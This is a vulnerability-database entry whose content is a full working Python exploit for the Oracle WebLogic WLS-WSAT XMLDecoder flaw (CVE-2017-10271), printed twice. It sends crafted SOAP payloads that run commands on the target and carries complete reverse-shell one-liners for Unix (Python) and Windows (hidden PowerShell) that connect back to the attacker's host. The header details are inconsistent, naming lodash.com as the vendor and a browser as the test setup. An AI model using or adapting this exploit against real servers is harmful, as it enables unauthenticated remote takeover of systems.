7.5
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description
This script is a Python-based proof of concept exploit targeting a deserialization vulnerability in Oracle WebLogic Server's WLS-WSAT component. The vulnerability allows unauthenticated attackers to execute arbitrary system commands via crafted SOAP...
Basic Information
ID
PACKETSTORM:220741
Published
May 11, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Oracle WebLogic WLS-WSAT XMLDecoder Remote Code Execution Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://lodash.com/ |
==================================================================================================================================
[+] Summary : This script is a Python-based proof-of-concept exploit targeting a deserialization vulnerability in Oracle WebLogic Server’s WLS-WSAT component (CVE-2017-10271).
The vulnerability allows unauthenticated attackers to execute arbitrary system commands via crafted SOAP requests sent to the /wls-wsat/CoordinatorPortType endpoint.
The exploit supports both Unix and Windows targets by dynamically generating appropriate command payloads.
It provides two operational modes: a verification mode that triggers an outbound HTTP request to confirm vulnerability,
and an execution mode that attempts to establish a reverse shell connection to the attacker-controlled host.
The tool constructs malicious XML payloads leveraging Java’s XMLDecoder and ProcessBuilder classes, enabling remote command execution if the target is vulnerable and accessible.
It is intended strictly for security testing and research purposes in controlled environments.
[+] POC :
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from sys import exit
from requests import post
from argparse import ArgumentParser
from random import choice
from string import ascii_uppercase, ascii_lowercase, digits
from xml.sax.saxutils import escape
class Exploit:
def __init__(self, check, rhost, lhost, lport, windows):
self.url = rhost if not rhost.endswith('/') else rhost.strip('/')
self.lhost = lhost
self.lport = lport
self.check = check
if windows:
self.target = 'win'
else:
self.target = 'unix'
if self.target == 'unix':
self.cmd_payload = (
"python -c 'import socket,subprocess,os;"
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
"s.connect((\"{lhost}\",{lport}));"
"os.dup2(s.fileno(),0);"
"os.dup2(s.fileno(),1);"
"os.dup2(s.fileno(),2);"
"subprocess.call([\"/bin/sh\",\"-i\"]);'"
).format(lhost=self.lhost, lport=self.lport)
else:
self.cmd_payload = (
r"powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) "
r"{$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='" + self.lhost + r"';"
r"$p='" + self.lport + r"';$c=New-Object system.net.sockets.tcpclient;"
r"$c.connect($a,$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"
r"$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';"
r"$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;"
r"$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;"
r"$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;"
r"while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};"
r"$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;"
r"while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1;"
r"while (($i -gt 0) -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);"
r"$pos+=$r;if (-not $pos -or $pos -eq 0) {RSC};"
r"if ($nb[0..$($pos-1)] -contains 10) {break}};"
r"if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);"
r"start-sleep 1;if ($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());"
r"while($os.Peek() -ne -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};"
r"$s.Write($e.GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};"
)
self.cmd_payload = escape(self.cmd_payload)
def cmd_base(self):
return 'cmd' if self.target == 'win' else '/bin/sh'
def cmd_opt(self):
return '/c' if self.target == 'win' else '-c'
def get_generic_check_payload(self):
random_uri = ''.join(
choice(ascii_uppercase + ascii_lowercase + digits)
for _ in range(16))
return '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<object id="url" class="java.net.URL">
<string>http://{lhost}:{lport}/{random_uri}</string>
</object>
<object idref="url">
<void id="stream" method="openStream" />
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''.format(
lhost=self.lhost,
lport=self.lport,
random_uri=random_uri
)
def get_process_builder_payload(self):
return '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>{cmd_base}</string>
</void>
<void index="1">
<string>{cmd_opt}</string>
</void>
<void index="2">
<string>{cmd_payload}</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''.format(
cmd_base=self.cmd_base(),
cmd_opt=self.cmd_opt(),
cmd_payload=self.cmd_payload
)
def print_banner(self):
print("=" * 80)
print("CVE-2017-10271 RCE Exploit")
print("written by: indoushka")
print("Remote Target: {}".format(self.url))
print("Shell Listener: {}:{}".format(self.lhost, self.lport))
print("=" * 80)
def post_exploit(self, data):
headers = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0"
}
vulnurl = self.url + "/wls-wsat/CoordinatorPortType"
try:
req = post(vulnurl, data=data, headers=headers, timeout=10, verify=False)
if self.check:
print("[*] Did you get an HTTP GET request back?")
else:
print("[*] Did you get a shell back?")
except Exception as e:
print('[!] Connection Error')
print(e)
def run(self):
self.print_banner()
if self.check:
print('[+] Generating generic check payload')
payload = self.get_generic_check_payload()
else:
print('[+] Generating execution payload')
payload = self.get_process_builder_payload()
print('[*] Generated:')
print(payload)
if self.check:
print('[+] Running generic check payload')
else:
print('[+] Running {} execute payload'.format(self.target))
self.post_exploit(data=payload)
if __name__ == "__main__":
parser = ArgumentParser(description='CVE-2017-10271 WebLogic exploit')
parser.add_argument('-l', '--lhost', required=True, dest='lhost')
parser.add_argument('-p', '--lport', required=True, dest='lport')
parser.add_argument('-r', '--rhost', required=True, dest='rhost')
parser.add_argument('-c', '--check', dest='check', action='store_true')
parser.add_argument('-w', '--win', dest='windows', action='store_true')
args = parser.parse_args()
exploit = Exploit(
check=args.check,
rhost=args.rhost,
lhost=args.lhost,
lport=args.lport,
windows=args.windows
)
exploit.run()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Oracle WebLogic WLS-WSAT XMLDecoder Remote Code Execution Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://lodash.com/ |
==================================================================================================================================
[+] Summary : This script is a Python-based proof-of-concept exploit targeting a deserialization vulnerability in Oracle WebLogic Server’s WLS-WSAT component (CVE-2017-10271).
The vulnerability allows unauthenticated attackers to execute arbitrary system commands via crafted SOAP requests sent to the /wls-wsat/CoordinatorPortType endpoint.
The exploit supports both Unix and Windows targets by dynamically generating appropriate command payloads.
It provides two operational modes: a verification mode that triggers an outbound HTTP request to confirm vulnerability,
and an execution mode that attempts to establish a reverse shell connection to the attacker-controlled host.
The tool constructs malicious XML payloads leveraging Java’s XMLDecoder and ProcessBuilder classes, enabling remote command execution if the target is vulnerable and accessible.
It is intended strictly for security testing and research purposes in controlled environments.
[+] POC :
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from sys import exit
from requests import post
from argparse import ArgumentParser
from random import choice
from string import ascii_uppercase, ascii_lowercase, digits
from xml.sax.saxutils import escape
class Exploit:
def __init__(self, check, rhost, lhost, lport, windows):
self.url = rhost if not rhost.endswith('/') else rhost.strip('/')
self.lhost = lhost
self.lport = lport
self.check = check
if windows:
self.target = 'win'
else:
self.target = 'unix'
if self.target == 'unix':
self.cmd_payload = (
"python -c 'import socket,subprocess,os;"
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
"s.connect((\"{lhost}\",{lport}));"
"os.dup2(s.fileno(),0);"
"os.dup2(s.fileno(),1);"
"os.dup2(s.fileno(),2);"
"subprocess.call([\"/bin/sh\",\"-i\"]);'"
).format(lhost=self.lhost, lport=self.lport)
else:
self.cmd_payload = (
r"powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) "
r"{$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='" + self.lhost + r"';"
r"$p='" + self.lport + r"';$c=New-Object system.net.sockets.tcpclient;"
r"$c.connect($a,$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"
r"$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';"
r"$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;"
r"$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;"
r"$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;"
r"while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};"
r"$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;"
r"while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1;"
r"while (($i -gt 0) -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);"
r"$pos+=$r;if (-not $pos -or $pos -eq 0) {RSC};"
r"if ($nb[0..$($pos-1)] -contains 10) {break}};"
r"if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);"
r"start-sleep 1;if ($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());"
r"while($os.Peek() -ne -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};"
r"$s.Write($e.GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};"
)
self.cmd_payload = escape(self.cmd_payload)
def cmd_base(self):
return 'cmd' if self.target == 'win' else '/bin/sh'
def cmd_opt(self):
return '/c' if self.target == 'win' else '-c'
def get_generic_check_payload(self):
random_uri = ''.join(
choice(ascii_uppercase + ascii_lowercase + digits)
for _ in range(16))
return '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<object id="url" class="java.net.URL">
<string>http://{lhost}:{lport}/{random_uri}</string>
</object>
<object idref="url">
<void id="stream" method="openStream" />
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''.format(
lhost=self.lhost,
lport=self.lport,
random_uri=random_uri
)
def get_process_builder_payload(self):
return '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>{cmd_base}</string>
</void>
<void index="1">
<string>{cmd_opt}</string>
</void>
<void index="2">
<string>{cmd_payload}</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''.format(
cmd_base=self.cmd_base(),
cmd_opt=self.cmd_opt(),
cmd_payload=self.cmd_payload
)
def print_banner(self):
print("=" * 80)
print("CVE-2017-10271 RCE Exploit")
print("written by: indoushka")
print("Remote Target: {}".format(self.url))
print("Shell Listener: {}:{}".format(self.lhost, self.lport))
print("=" * 80)
def post_exploit(self, data):
headers = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0"
}
vulnurl = self.url + "/wls-wsat/CoordinatorPortType"
try:
req = post(vulnurl, data=data, headers=headers, timeout=10, verify=False)
if self.check:
print("[*] Did you get an HTTP GET request back?")
else:
print("[*] Did you get a shell back?")
except Exception as e:
print('[!] Connection Error')
print(e)
def run(self):
self.print_banner()
if self.check:
print('[+] Generating generic check payload')
payload = self.get_generic_check_payload()
else:
print('[+] Generating execution payload')
payload = self.get_process_builder_payload()
print('[*] Generated:')
print(payload)
if self.check:
print('[+] Running generic check payload')
else:
print('[+] Running {} execute payload'.format(self.target))
self.post_exploit(data=payload)
if __name__ == "__main__":
parser = ArgumentParser(description='CVE-2017-10271 WebLogic exploit')
parser.add_argument('-l', '--lhost', required=True, dest='lhost')
parser.add_argument('-p', '--lport', required=True, dest='lport')
parser.add_argument('-r', '--rhost', required=True, dest='rhost')
parser.add_argument('-c', '--check', dest='check', action='store_true')
parser.add_argument('-w', '--win', dest='windows', action='store_true')
args = parser.parse_args()
exploit = Exploit(
check=args.check,
rhost=args.rhost,
lhost=args.lhost,
lport=args.lport,
windows=args.windows
)
exploit.run()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================